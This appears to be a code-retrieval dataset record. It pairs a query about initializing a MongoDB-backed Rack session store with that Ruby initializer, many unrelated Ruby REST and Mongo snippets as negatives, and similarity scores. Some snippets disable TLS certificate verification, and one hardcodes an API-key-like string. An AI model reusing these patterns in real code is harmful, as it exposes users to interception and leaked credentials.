"def endpoint; end",
"def call_rest(verb, url, xml=nil, content_type='text/xml')\n begin\n case verb.to_sym\n when :get\n RestClient.get(url)\n when :post\n RestClient.post(url, xml, :content_type => content_type)\n when :put\n RestClient.put(url, xml, :content_type => content_type)\n when :delete\n RestClient.delete(url)\n end\n rescue => e\n puts \"Exception at: #{url}\"\n puts e.response ? e.response : e\n end\n end",
"def api_only; end",
"def api_only; end",
"def api_only; end",
"def raw_api(method,params=nil)\n debug(6,:var=>method,:msg=>\"method\")\n debug(6,:var=>params,:msg=>\"Parameters\")\n\n checkauth\n checkversion(1,1)\n params={} if params==nil\n obj=do_request(json_obj(method,params))\n return obj['result']\n end",
"def define_restful_api(model)\n get \"/#{model.resource}\" do\n sleep settings.fake_latency if settings.fake_latency > 0\n catch_errors { json model.all }\n end\n\n get \"/#{model.resource}/:id\" do\n sleep settings.fake_latency if settings.fake_latency > 0\n catch_errors do\n result = model.find_by_id(params[:id])\n halt 404 if result.nil?\n json result\n end\n end\n\n post \"/#{model.resource}\" do\n sleep settings.fake_latency if settings.fake_latency > 0\n catch_errors { json model.create(@json_payload) }\n end\n\n patch \"/#{model.resource}/:id\" do\n sleep settings.fake_latency if settings.fake_latency > 0\n catch_errors { json model.update(params[:id], @json_payload) }\n end\n\n delete \"/#{model.resource}/:id\" do\n sleep settings.fake_latency if settings.fake_latency > 0\n catch_errors { model.delete(params[:id]) }\n end\n\n private\n def catch_errors()\n begin\n yield\n rescue Exception => e\n logger.fatal(\"Exception: #{e}\")\n status 500\n json({'error' => e})\n end\n end\nend",
"def APICall params = {}\n \n path = params[:path]\n method = params[:method] || 'GET'\n payload = params[:payload] || nil\n \n params.delete(:method)\n params.delete(:path)\n params.delete(:payload)\n \n a = Time.now.to_f\n \n http = Net::HTTP.new(@infra[:domain]+'.zendesk.com',443)\n http.verify_mode = OpenSSL::SSL::VERIFY_NONE\n http.use_ssl = true\n \n uri = %{#{@infra[:path]}#{path}}\n uri << '?'+params.map{ |key,val| \"#{key}=#{val}\" }.join('&') if params && params.count > 0\n uri = URI.escape uri\n \n reqs = {\n 'GET' => Net::HTTP::Get.new(uri),\n 'POST' => Net::HTTP::Post.new(uri),\n 'PUT' => Net::HTTP::Put.new(uri),\n 'DELETE' => Net::HTTP::Delete.new(uri)\n }\n req = reqs[method]\n \n content_type = 'application/json'\n content_type = 'application/binary' if path.include? 'uploads'\n req.content_type = content_type\n \n req.basic_auth @username,@infra[:authentication]\n \n req.body = payload if method == 'POST' || method == 'PUT'\n \n response = http.request req\n \n code = response.code.to_f.round\n body = response.body\n \n b = Time.now.to_f\n c = ((b-a)*100).round.to_f/100\n \n final = {code: code.to_i,body: nil}\n final = final.merge(body: JSON.parse(body)) if method != 'DELETE' && code != 500\n final = final.merge(time: c)\n \n @api += 1\n \n final\n \n end",
"def get\n end",
"def request(*args); end",
"def rest_request(verb, url, data)\n if Rails.env.production?\n rest_production(verb, url, JSON.generate(data))\n else\n log_info(\"[#{Rails.env}]: #{verb} #{url}\", 200)\n end\n rescue RestClient::Exception => e\n log_error \"Failed with #{e.http_code}: #{e}\\n#{e.response}\", e.http_code\n end",
"def consume_rest; end",
"def request; end",
"def request; end",
"def request; end",
"def request; end",
"def request; end",
"def request; end",
"def request; end",
"def request; end",
"def request; end",
"def request; end",
"def request; end",
"def api_request(&block)\n response = block.call\n if response.status == 307 and response.body =~ /^\\/REST\\//\n response.body.sub!('/REST/','') \n response = get(response.body)\n end\n parse_response(JSON.parse(response.body || '{}'))\n end",
"def rest_token_end_point; end",
"def preflight; end",
"def endpoints; end",
"def get_rest_api(endpoint, http)\n rest_api_endpoint = \"/classifier-api/v1/#{endpoint}\"\n\n # Create an HTTP GET request against the specified REST API endpoint.\n request = Net::HTTP::Get.new(rest_api_endpoint)\n # Submit the request\n response = http.request(request)\n # Return the response body (JSON containing the results of the query).\n response.body\nend",
"def get_api_json\n response_string = RestClient.get('http://www.swapi.co/api/people/')\n JSON.parse(response_string)\nend",
"def http_method\n :get\n end",
"def get\n end",
"def POST; end",
"def rest_token_endpoint=(_arg0); end",
"def restful_api\n @restful_api ||= AlephApi::RestfulApiClient.new(url: @restful_api_url)\n end",
"def index\n @api_v1_todos = Todo.all\n render json: @api_v1_todos\n end",
"def do_get(path, params={})\n login if need_login?\n\n # Resource id is a special param as it needs to be added to the path\n path = add_id_and_params_to_path(path, params)\n\n req, res, resource_type, body = nil\n\n begin\n retry_request(true) do\n # Return content type so the resulting resource object knows what kind of resource it is.\n resource_type, body = @rest_client[path].get(headers) do |response, request, result, &block|\n req, res = request, response\n update_cookies(response)\n update_last_request(request, response)\n\n case response.code\n when 200\n # Get the resource_type from the content_type, the resource_type\n # will be used later to add relevant methods to relevant resources\n type = if result.content_type.index('rightscale')\n get_resource_type(result.content_type)\n elsif result.content_type.index('text/plain')\n 'text'\n else\n ''\n end\n\n # work around getting ASCII-8BIT from some resources like audit entry detail\n charset = get_charset(response.headers)\n if charset && response.body.encoding != charset\n response.body.force_encoding(charset)\n end\n\n # raise an error if the API is misbehaving and returning an empty response when it shouldn't\n if type != 'text' && response.body.empty?\n raise EmptyBodyError.new(request, response)\n end\n\n [type, response.body]\n when 301, 302\n update_api_url(response)\n response.follow_redirection(request, result, &block)\n when 404\n raise UnknownRouteError.new(request, response)\n else\n raise ApiError.new(request, response)\n end\n end\n end\n rescue => e\n raise wrap(e, :get, path, params, req, res)\n end\n\n data = if resource_type == 'text'\n { 'text' => body }\n else\n JSON.parse(body, :allow_nan => true)\n end\n\n [resource_type, path, data]\n end",
"def render_rest_response(opts)\n if opts.to_s.downcase == 'getall'\n render_get_all\n elsif opts.to_s.downcase == 'get'\n render_get\n elsif opts.to_s.downcase == 'post'\n render_post\n elsif opts.to_s.downcase == 'put'\n render_put\n elsif opts.to_s.downcase == 'delete'\n render_delete\n elsif opts.to_s.downcase == 'error'\n render_error\n end\n end",
"def index\n @node = Fedora.rest('rest/')\n end",
"def api_keys; rest_query(:api_key); end",
"def api_keys; rest_query(:api_key); end",
"def index\n build_resource({})\n respond_with self.resource\n end",
"def get_all_movies_for_actor(actor)\n url = \"http://movies.api.mks.io/movies\"\n response = RestClient.get(url, accept: 'application/json')\n\nend",
"def rest_call(url, method, options = {})\n methods = %w{get post put}\n result = {\"status\" => \"ERROR\", \"response\" => \"\", \"message\" => \"\"}\n method = method.downcase\n verbose = get_option(options, \"verbose\") == \"yes\" or get_option(options, \"verbose\")\n headers = get_option(options, \"headers\", {:accept => :json, :content_type => :json})\n return result[\"message\"] = \"ERROR - #{method} not recognized\" unless methods.include?(method)\n log \"Rest URL: #{url}\" if verbose\n begin\n data = get_option(options, \"data\")\n rest_params = {}\n rest_params[:url] = url\n rest_params[:method] = method.to_sym\n rest_params[:verify_ssl] = OpenSSL::SSL::VERIFY_NONE if url.start_with?(\"https\")\n rest_params[:payload] = data.to_json unless data == \"\"\n if options.has_key?(\"username\") && options.has_key?(\"password\")\n rest_params[:user] = options[\"username\"]\n rest_params[:password] = options[\"password\"]\n end\n rest_params[:headers] = headers\n log \"RestParams: #{rest_params.inspect}\" if verbose\n if %{put post}.include?(method)\n return result[\"message\"] = \"ERROR - no data param for post\" if data == \"\"\n response = RestClient::Request.new(rest_params).execute\n else\n response = RestClient::Request.new(rest_params).execute\n end\n rescue Exception => e\n result[\"message\"] = e.message\n raise \"RestError: #{result[\"message\"]}\" unless get_option(options, \"suppress_errors\") == true\n return result\n end\n log \"Rest Response:\\n#{response.inspect}\" if verbose\n if headers[:accept] == :json\n parsed_response = JSON.parse(response) rescue nil\n else\n parsed_response = response\n end\n parsed_response = {\"info\" => \"no data returned\"} if parsed_response.nil?\n result[\"code\"] = response.code\n if response.code < 300\n result[\"status\"] = \"success\"\n result[\"data\"] = parsed_response\n elsif response.code == 422\n result[\"message\"] = \"REST call returned code 422 usually a bad token\"\n else\n result[\"message\"] = \"REST call returned HTTP code #{response.code}\"\n end\n if result[\"status\"] == \"ERROR\"\n raise \"RestError: #{result[\"message\"]}\" unless get_option(options, \"suppress_errors\") == true\n end\n result\n end",
"def api_method\n ''\n end",
"def request(*args)\n end",
"def rest_resource(path, options={}, &blk)\n rest_get path, options, &blk\n rest_edit path, options, &blk\n rest_delete path, options, &blk\n end",
"def index\n\t\t# specifying json format in the URl\n\t uri = \"#{API_BASE_URL}/users.json\"\n\t # It will create new rest-client resource so that we can call different methods of it\n\t rest_resource = RestClient::Resource.new(uri, USERNAME, PASSWORD)\n\n\t # this next line will give you back all the details in json format, \n\t #but it will be wrapped as a string, so we will parse it in the next step.\n\t users = rest_resource.get \n\n\t # we will convert the return data into an array of hash. see json data parsing here\n\t @users = JSON.parse(users, :symbolize_names => true)\n\tend",
"def get_products()\n\tputs \"Getting products\"\n\tresponse = request_get(\"/api/product\")\n\tputs response.body\nend",
"def _api\n res = TinyURL.pack(request[:turl]) if request[:turl]\n res = TinyURL.unpack(request[:url].split('/').last) if request[:url]\n res = TinyURL.count(request[:hits].split('/').last).to_s if request[:hits]\n res ||= ''\n respond res\n end",
"def post_rest_api(endpoint, data, http)\n rest_api_endpoint = \"/classifier-api/v1/#{endpoint}\"\n\n # Create an HTTP POST request against the specified REST API endpoint\n request = Net::HTTP::Post.new(rest_api_endpoint)\n # Set the Content-Type and data of the HTTP POST request\n request.content_type = \"application/json\"\n request.body = data\n # Submit the request\n response = http.request(request)\n # Return the response bosy (JSON containing the result of the POST operation)\n response.body\nend",
"def get endpoint\n do_request :get, endpoint\n end",
"def parent_api; end",
"def parent_api; end",
"def list\n get('/')\n end",
"def api_endpoint\n 'index'\n end",
"def index\n @rest_apis = RestApi.all\n end",
"def api\n @api\n end",
"def call_rest(action, url, headers, ref, body = nil)\n begin\n # change url based on if we have a ref or not\n if ref.nil?\n url = url\n else\n url = url + \"/\" + ref\n end\n\n # set params for api call\n params = {\n :method => action,\n :url => url,\n :verify_ssl => false,\n :headers => headers\n }\n\n # generate payload data\n params[:payload] = body if body\n log(:info, \"call_rest: Request URL: #{url}\")\n log(:info, \"call_rest: Request Action: #{action}\")\n log(:info, \"call_rest: Request Headers: #{headers.inspect}\")\n log(:info, \"call_rest: Request Payload: #{params[:payload]}\")\n\n # execute the request\n RestClient::Request.new(params).execute\n rescue => err\n # log and backtrace the error\n log(:error, \"[#{err}]\\n#{err.backtrace.join(\"\\n\")}\")\n log(:error, \"call_rest: #{err}. Returning nil.\")\n return nil\n end\nend",
"def request_api(url)\n begin\n response = RestClient.get(url)\n print(\"response: \", response)\n JSON.parse(response)\n rescue\n return nil\n end\n \n \n end",
"def api_error; end",
"def preflight\n head 200\n end",
"def _get\n http_method(:get)\n end",
"def invoke_request(url)\n site = RestClient::Resource.new(url, \"dHgVM1emGoTyr8zHmVNH\")\n return JSON.parse(site.get(:accept=>\"application/json\"))\nend",
"def invoke_request(url)\n site = RestClient::Resource.new(url, \"dHgVM1emGoTyr8zHmVNH\")\n return JSON.parse(site.get(:accept=>\"application/json\"))\nend",
"def index\r\n render json: { status: \"Test API\"}\r\n end",
"def call\n resource = base_resource\n\n response = (\n case request_method\n when :get\n resource.get fill do |req|\n (req.body = source) if source\n end\n when :head\n resource.head fill\n when :delete\n resource.delete(fill) do |req|\n req.body = source if source\n end\n when :post\n resource.post(fill, source)\n when :put\n resource.put(fill, source)\n end\n )\n \n response\n end",
"def API_RESPONSE(status, body)\n JSON.generate({:status => status, :body => body});\nend",
"def create(url, data)\n RestClient.post ENV['APIBASE']+url, data, :content_type => :json\nend",
"def call_rest(action, url, auth_cert, auth_key, ref, content_type, body = nil)\n begin\n # change url based on if we have a ref or not\n if ref.nil?\n url = url\n else\n url = url + \"/\" + ref\n end\n\n # set params for api call\n params = {\n :method => action,\n :url => url,\n :ssl_client_cert => OpenSSL::X509::Certificate.new(auth_cert),\n :ssl_client_key => OpenSSL::PKey::RSA.new(auth_key),\n :verify_ssl => false,\n :headers => { :content_type => content_type, :accept => content_type }\n }\n\n # generate payload data\n content_type == :json ? (params[:payload] = JSON.generate(body) if body) : (params[:payload] = body if body)\n log(:info, \"call_rest: Request: #{url} action: #{action} payload: #{params[:payload]}\")\n\n # execute the request\n RestClient::Request.new(params).execute\n rescue => err\n # log and backtrace the error\n log(:error, \"[#{err}]\\n#{err.backtrace.join(\"\\n\")}\")\n log(:error, \"call_rest: #{err}. Returning nil.\")\n return nil\n end\nend",
"def rest_routes\n\t\t\t\t\t[\n\t\t\t\t\t\t{ method: :GET, path: '/', action: :index },\n\t\t\t\t\t\t{ method: :POST, path: '/', action: :create },\n\t\t\t\t\t\t{ method: :GET, path: '/', action: :show },\n\t\t\t\t\t\t{ method: :PUT, path: '/', action: :update },\n\t\t\t\t\t\t{ method: :DELETE, path: '/', action: :delete }\n\t\t\t\t\t]\n\t\t\t\tend",
"def request(params)\n\n # Add auth header\n headers = params[:headers] || {}\n headers['x-vcloud-authorization'] = @auth_key if !@auth_key.nil? || !@auth_key.equal?('')\n\n # set connection options\n options = {:url => params[:url],\n :body => params[:body] || '',\n :expects => params[:expects] || 200,\n :headers => headers || {},\n :method => params[:method] || 'GET'\n }\n\n # connect\n res = RestClient::Request.execute options\n\n raise res if (res.code!=params[:expects] && res.code!=200)\n\n res\n\n\n end",
"def rest\n @@rest\n end",
"def json_api_request(request_method, action, parameters = {}, session = nil, flash = nil)\n @request.headers['ACCEPT'] = 'application/vnd.api+json'\n @request.headers['CONTENT_TYPE'] = 'application/vnd.api+json'\n extra_headers = parameters[:headers] || {}\n extra_headers.each do |key, value|\n @request.headers[key] = value\n end\n parameters.delete :headers\n parameters[:format] = :json_api unless parameters&.key? :format\n __send__(request_method, action, params: parameters, session: session, flash: flash)\nend",
"def resource; end",
"def api_request method, params = nil\n\t\t\tconnection = ZenfolioAPI::HTTP.new()\n\t\t\t@response = connection.POST(method, params, @auth.token)\n\t\tend",
"def client_method(rest_method, url_elements, query_elements = [], parameters = nil)\n url = File.join(@base_url, *url_elements)\n url = URI.escape(url)\n query_elements.each_with_index do |s, i|\n char = (i == 0) ? '?' : '&'\n url = '%s%s%s' % [url, char, s]\n end\n\n args = Hash.new\n\n args.store(:method, rest_method)\n args.store(:url, url)\n args.store(:timeout, @time_out)\n headers = {\n 'content-type' => 'application/json',\n 'X-TrackerToken' => @token\n }\n if parameters.nil?\n parameters_json = nil\n else\n parameters_json = parameters.to_json\n end\n # args.store(:user, @account_name)\n # args.store(:password, @password)\n args.store(:payload, parameters_json)\n args.store(:headers, headers)\n\n # noinspection RubyResolve\n args.store(:verify_ssl, OpenSSL::SSL::VERIFY_NONE)\n\n RestClient.proxy = \"http://172.20.240.5:8080\"\n response = RestClient::Request.execute(args)\n # Don't parse as Json if empty.\n return response.code if response == ''\n begin\n parser = JSON::Ext::Parser.new(response)\n json = parser.parse\n json = DataHelper.rehash_to_symbol_keys(json)\n return [response.code, json]\n rescue\n # Isn't Json.\n return [response.code, response]\n end\n end",
"def request(type, id=\"\", params=\"\")\n id = id.to_s\n params = params.to_s\n api_path = case type\n when \"orders\"\n \"/api/v2/orders?\"\n when \"order_metadata\"\n raise \"ID required\" if id.empty?\n \"/api/v2/orders/#{id}?\"\n when \"shop_metadata\"\n raise \"ID required\" if id.empty?\n \"/api/v2/shop/#{id}?\"\n end\n api_path.chop! if params.empty?\n\n response = HTTParty.get(\n @domain + api_path + params, \n basic_auth: @auth\n )\n response_valid?(response)\n response\nend",
"def api_request(path, method, body)\n uri = call_uri(path)\n req = Net::HTTP.const_get(method)\n .new(uri,\n \"Content-Type\": 'application/json; charset=utf-8',\n \"Cache-Control\": 'no-cache')\n req.body = body\n Net::HTTP.new(uri.hostname, uri.port).start { |http| http.request(req) }\n end",
"def api_behavior\n raise MissingRenderer.new(format) unless has_renderer?\n\n if get?\n display resource\n elsif post?\n display resource, status: :created, location: api_location\n elsif put? || patch?\n display resource, status: :ok, location: api_location\n else\n head :no_content\n end\n end",
"def rest_call(call,base_uri,json_payload,access_token)\n params =\n {\"Authorization\" => \"Bearer #{access_token}\",\n :content_type => 'application/json',\n :accept => 'application/json',\n :verify => false}\n case call\n when \"get\"\n response = rest_get(base_uri,params)\n when \"post\"\n response = rest_post(base_uri,json_payload,params)\n when \"patch\"\n response = rest_patch(base_uri,json_payload,params)\n end\n return response\n end",
"def index()\n method_url = @resource\n return self.get(method_url)\n end",
"def http( *args )\n p http_get( *args )\n end",
"def index\n if params[:single]\n\t url = \"#{API_BASE_URL}/users/#{params[:id]}.json\"\n\t response = RestClient.get(url)\n\t @user = JSON.parse(response.body)\n\telse\n\t url = \"#{API_BASE_URL}/users.json\"\t \n response = RestClient.get(url)\n @users = JSON.parse(response.body)\t\t \n\tend\n end",
"def post; end",
"def handle_request( * ) # :nodoc:\n\t\tself.log.debug \"[:restresources] handling request for REST resource.\"\n\t\tsuper\n\tend",
"def raw_response; end",
"def api_request(input_args)\n addr = URI(api_url)\n parms = input_args.clone\n parms = api_defaults.merge(parms)\n addr.query = URI.encode_www_form(parms)\n JSON.parse(Net::HTTP.get(addr))\n end",
"def call_api (action, argument = \"\")\n\t\turi_str = BASE_URL + action + @api_key + argument\n\t\turi = URI.parse(uri_str)\n\t\tresponse = Net::HTTP.get_response(uri)\n\t\t#check response\n\t\tresponse_body = JSON.parse(response.body)\n\tend"
] |
[
"0.7704782",
"0.7333716",
"0.71042",
"0.71042",
"0.7056775",
"0.6923904",
"0.69045806",
"0.6864587",
"0.67562145",
"0.6656274",
"0.66175437",
"0.66175437",
"0.66175437",
"0.66175437",
"0.6521443",
"0.65020096",
"0.65020096",
"0.65020096",
"0.6461406",
"0.6429797",
"0.642751",
"0.6424268",
"0.6423467",
"0.6407057",
"0.6391708",
"0.6372375",
"0.6372375",
"0.6372375",
"0.6372375",
"0.6372375",
"0.6372375",
"0.6372375",
"0.6372375",
"0.6372375",
"0.6372375",
"0.6372375",
"0.6371304",
"0.6331405",
"0.62846106",
"0.6268983",
"0.6259231",
"0.62569284",
"0.622159",
"0.6218291",
"0.62143475",
"0.62082636",
"0.61904955",
"0.61902076",
"0.6173543",
"0.6155191",
"0.61448944",
"0.61407566",
"0.61407566",
"0.6138301",
"0.6129971",
"0.6122548",
"0.6120491",
"0.61108595",
"0.61093926",
"0.609897",
"0.6089201",
"0.6087371",
"0.6084055",
"0.6065129",
"0.6051504",
"0.6051504",
"0.6050915",
"0.6049893",
"0.6047714",
"0.60427755",
"0.6040495",
"0.60302293",
"0.6027776",
"0.6023882",
"0.60233206",
"0.6022853",
"0.6022853",
"0.60174614",
"0.5977558",
"0.5973734",
"0.59518254",
"0.5945703",
"0.5937402",
"0.5932067",
"0.5926786",
"0.5914195",
"0.59135705",
"0.5900907",
"0.5891889",
"0.5891344",
"0.5891272",
"0.5888595",
"0.5880399",
"0.58707833",
"0.5868367",
"0.5868096",
"0.58632684",
"0.58556134",
"0.5853142",
"0.58506393",
"0.5848239"
] |
0.0
|
-1
|
Initializes mongo_rack. Pass in options for default override.
|
def initialize(app, options={})
super
host, port, db_name, cltn_name = parse_server_desc( @default_options[:server] )
@mutex = Mutex.new
@connection = ::Mongo::Connection.new(
host,
port,
:pool_size => @default_options[:pool_size],
:timeout => @default_options[:pool_timeout] )
@db = @connection.db( db_name )
@sessions = @db[cltn_name]
@logger = ::Logger.new( $stdout )
@logger.level = set_log_level( @default_options[:log_level] )
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def default_options\n {\n :host => 'localhost',\n :port => Mongo::Connection::DEFAULT_PORT\n }\n end",
"def mongodb=(options = {})\n if options.respond_to?(:keys)\n mongodb.port = options[:port] if options[:port]\n mongodb.host = options[:host] if options[:host]\n mongodb.database = options[:database] if options[:database]\n end\n end",
"def initialize(mongo_url = nil, db_name = nil)\n @@db = self.class.mongo_client(mongo_url = nil, db_name = nil)\n end",
"def initialize(config=nil)\n defaults = config || MongoDefaults\n @config = Lynr::Config.new('database', Lynr.env, { 'mongo' => defaults }).mongo\n @collection_name = @config['collection']\n @db, @client, @collection = nil\n end",
"def set_db_options(options)\n\t\t\t\toptions[:collection]=options[:collection] || MongoozHash.get_class_name_without_namespace(self)\n\t\t\t\toptions[:db]=options[:db] || Mongooz.DEFAULT_DB\n\t\t\t\toptions[:host]=options[:host] || Mongooz.DEFAULT_HOST\n\t\t\t\toptions[:port]=options[:port] || Mongooz.DEFAULT_PORT\n\t\t\tend",
"def initialize\n @uri_options = {}\n @ruby_options = {}\n if ENV['MONGODB_URI']\n @mongodb_uri = Mongo::URI.get(ENV['MONGODB_URI'])\n @uri_options = Mongo::Options::Mapper.transform_keys_to_symbols(@mongodb_uri.uri_options)\n if ENV['TOPOLOGY'] == 'load-balanced'\n @addresses = @mongodb_uri.servers\n @connect_options = { connect: :load_balanced }\n elsif @uri_options[:replica_set]\n @addresses = @mongodb_uri.servers\n @connect_options = { connect: :replica_set, replica_set: @uri_options[:replica_set] }\n elsif @uri_options[:connect] == :sharded || ENV['TOPOLOGY'] == 'sharded-cluster'\n @addresses = @mongodb_uri.servers\n @connect_options = { connect: :sharded }\n elsif @uri_options[:connect] == :direct\n @addresses = @mongodb_uri.servers\n @connect_options = { connect: :direct }\n end\n if @uri_options[:ssl].nil?\n @ssl = (ENV['SSL'] == 'ssl') || (ENV['SSL_ENABLED'] == 'true')\n else\n @ssl = @uri_options[:ssl]\n end\n end\n\n @uri_tls_options = {}\n @uri_options.each do |k, v|\n k = k.to_s.downcase\n if k.start_with?('ssl')\n @uri_tls_options[k] = v\n end\n end\n\n @ssl ||= false\n\n if (server_api = ENV['SERVER_API']) && !server_api.empty?\n @ruby_options[:server_api] = BSON::Document.new(YAML.load(server_api))\n # Since the tests pass options provided by SpecConfig directly to\n # internal driver objects (e.g. connections), transform server api\n # parameters here as they would be transformed by Client constructor.\n if (v = @ruby_options[:server_api][:version]).is_a?(Integer)\n @ruby_options[:server_api][:version] = v.to_s\n end\n end\n end",
"def set_defaults \n @options.test = 'simple'\n @options.min = 0\n @options.max = 5\n @options.host = 'localhost'\n @options.port = 27017\n @options.db = 'mongobench_test'\n @options.time = 300\n @options.threads = 1\n @options.documents = 20000\n @options.iterations = 0\n @options.step = :all\n end",
"def mongodb_connection(options={}, &block)\n return @mongodb_conncetion if @mongodb_connection and !block_given?\n options.stringify_keys!\n options['adapter'] ||= 'mongodb'\n @mongodb_connection = no_sql_connection(options, &block)\n end",
"def initialize(collection_or_options, options = nil)\n if collection_or_options.is_a?(Hash)\n options = collection_or_options.dup\n host = options.delete(:host)\n port = options.delete(:port)\n db_name = options.delete(:db)\n collection = options.delete(:collection)\n username = options.delete(:username)\n password = options.delete(:password)\n max = options.delete(:max)\n size = options.delete(:size)\n \n @buffer_size = options.delete(:buffer_size) || DEFAULT_BUFFER_SIZE\n \n connection = Mongo::Connection.new(host, port, options)\n db = connection.db(db_name)\n db.authenticate(username, password) if username && password\n if db.collections.collect{|coll| coll.name}.include?(collection.to_s)\n @collection = db.collection(collection)\n else\n begin\n @collection = db.create_collection(collection, :capped => (max || size), :max => max, :size => size)\n @collection.ensure_index(:time)\n @collection.ensure_index(:unit_of_work_id)\n rescue Mongo::OperationFailure\n # Create collection can fail if multiple processes try to create it at once.\n @collection = db.collection(collection)\n raise unless @collection\n end\n end\n else\n @collection = collection_or_options\n @buffer_size = options[:buffer_size] if options\n @buffer_size ||= DEFAULT_BUFFER_SIZE\n end\n \n @buffer = []\n @lock = Mutex.new\n end",
"def initialize( options )\n\t\tLoggability.format_as( :color ) if $stderr.tty?\n\t\t@options = options\n\n\t\tif @options.debug\n\t\t\t$DEBUG = true\n\t\t\t$VERBOSE = true\n\t\t\tLoggability.level = Logger::DEBUG\n\t\telsif @options.loglevel\n\t\t\tLoggability.level = @options.loglevel\n\t\tend\n\n\t\tMongrel2::Config.configure( :configdb => @options.config )\n\tend",
"def mongodb\n @mongodb ||= APND::Settings::MongoDB.new\n end",
"def initialize\n @db = Mongo::Client.new(['127.0.0.1:27017'] , :database => 'xdkAmbiente' )\n end",
"def initialize(options = {})\n @database = options[:database]\n @grid = ::Mongo::Grid.new(@database)\n end",
"def setup\n begin\n require 'mongo'\n rescue LoadError => e\n raise Error.new(\"Please ensure that the 'mongo' gem is installed and available (in your Gemfile)\")\n end\n h = host.gsub(%r{^http://},'')\n log.debug(\"Connecting to MongoDB server at #{h}:#{port}...\")\n begin\n self.client = Mongo::MongoClient.new(h, port)\n rescue => e\n raise Error.new(e.message)\n end\n end",
"def default_options(options)\n Database::DEFAULT_OPTIONS.dup.tap do |default_options|\n if options[:auth_mech] || options[:user]\n default_options[:auth_source] = Auth::User.default_auth_source(options)\n end\n\n if options[:auth_mech] == :gssapi\n default_options[:auth_mech_properties] = { service_name: 'mongodb' }\n end\n\n default_options[:retry_reads] = true\n default_options[:retry_writes] = true\n end\n end",
"def initialize(conn = 'mongodb://mongodb.local/')\n @client = Client.new conn\n end",
"def mongo_settings(yaml)\n @mongo = YAML.load(yaml)\n end",
"def initialize\n config = Motivoo.configuration\n db = Mongo::Connection.new(config.mongo_host, config.mongo_port)[config.mongo_db]\n db.authenticate(config.mongo_user, config.mongo_password) if config.mongo_user\n \n @tracking = db[\"tracking\"]\n @user_data = db[\"user_data\"]\n create_indices\n end",
"def initialize_mongocrypt\n Binding.init(self)\n # There is currently no test for the error(?) code path\n end",
"def initialize(uri)\n if uri.start_with?('mongodb://')\n uri = uri[10..-1]\n else\n raise MongoArgumentError, \"MongoDB URI must match this spec: #{MONGODB_URI_SPEC}\"\n end\n\n hosts, opts = uri.split('?')\n parse_options(opts)\n parse_hosts(hosts)\n validate_connect\n end",
"def create_mongo\n runtime_vars_doc = REXML::Document.new('<server></server>')\n obj = Mongo.new('mongo', @config)\n obj.parse_vcap_services(runtime_vars_doc.root, @vcap)\n obj\n end",
"def initialize(string)\n if string =~ /^mongodb:\\/\\//\n string = string[10..-1]\n else\n raise MongoArgumentError, \"MongoDB URI must match this spec: #{MONGODB_URI_SPEC}\"\n end\n\n hosts, opts = string.split('?')\n parse_hosts(hosts)\n parse_options(opts)\n configure_connect\n end",
"def initialize(session = :default)\n if Mongoid.respond_to?(:clients) # Mongoid 5\n self.session = Mongoid::Clients.with_name(session)\n elsif Mongoid.respond_to?(:sessions) # Mongoid 4\n self.session = Mongoid::Sessions.with_name(session)\n end\n rescue => e\n # client/session not configured\n end",
"def initialize(options={})\n @logger = options.delete(:logger) || self.class.default_logger\n @options = options\n options.host = '127.0.0.1' if options.host.nil? || options.host == 'localhost'\n options.port ||= 9312\n\n # If you use localhost, MySQL insists on a socket connection, but Sphinx\n # requires a TCP connection. Using 127.0.0.1 fixes that.\n # so does passing in the socket file e.g. socket:'/usr/local/sphinx/var/run/sphinx.sock'\n # nb: sphinx.conf listen definition must specify mysql41 as the protocol, e.g.,\n # listen = localhost:9312:mysql41\n\n super( { symbolize_keys: true, database_timezone: :utc, application_timezone: :local }.merge( options ) )\n end",
"def connection\n @@mongo_connection ||= ActiveRecord::ConnectionAdapters::MongoPseudoConnection.new($db)\n end",
"def initialize(options = nil)\n super() # MonitorMixin\n options ||= {}\n @logger = options[:logger]\n # Initializes each instance variable of the same name as option\n # keyword.\n default_options.each_pair { |key, default|\n instance_variable_set(\"@#{key}\", options.fetch(key, default))\n }\n end",
"def initialize rack_app=nil, options={}\n if Hash === rack_app\n options = rack_app\n @rack_app = nil\n else\n @rack_app = rack_app\n end\n\n @options = {\n :config_dir => self.class.config_dir,\n :public_dir => self.class.public_dir,\n :assets_dir => self.class.assets_dir,\n :asset_paths => self.class.asset_paths,\n :layouts_dir => self.class.layouts_dir,\n :views_dir => self.class.views_dir,\n :config => self.class.config\n }.merge(self.class.options).merge(options)\n\n @options[:config] = self.class.make_config(@options) if\n @options[:environment] != @options[:config].environment ||\n @options[:config_dir] != @options[:config].dir ||\n @options[:config_reload] != @options[:config].ttl\n\n @override_options = options if autoreload\n\n validate_all_controllers!\n\n @app = self\n @stack = build_app Rack::Builder.new\n\n setup_asset_pipeline\n end",
"def initialize options\n self.db_host, self.db_port = options[:uri].to_s.split(':')\n super options\n end",
"def initialize project = \"\", opt = {} \n self.project = project.should_not! :be_nil \n self.options = opt.to_openobject \n \n # DB\n self.db_name = project\n self.connection = Mongo::Connection.new # nil, nil, :logger => Logger.new(STDOUT)\n self.connection.drop_database db_name if options.clear? \n self.db = connection.db db_name\n \n # File Storage\n options.base_directory.should_not_be! :blank\n self.base_directory = \"#{options.base_directory}/#{project}\"\n FileUtils.rm_rf base_directory if options.clear?\n FileUtils.mkdir_p base_directory unless File.exist? base_directory\n end",
"def mongo_connection\n # Returns the connection if it is already established\n return $db_connection if $db_connection\n\n db = URI.parse(ENV['MONGOHQ_URL'])\n db_name = db.path.gsub(/^\\//, '')\n $db_connection = Mongo::Connection.new(db.host, db.port).db(db_name)\n\n unless db.user.nil? || db.password.nil?\n $db_connection.authenticate(db.user, db.password)\n end\n\n $db_connection\nend",
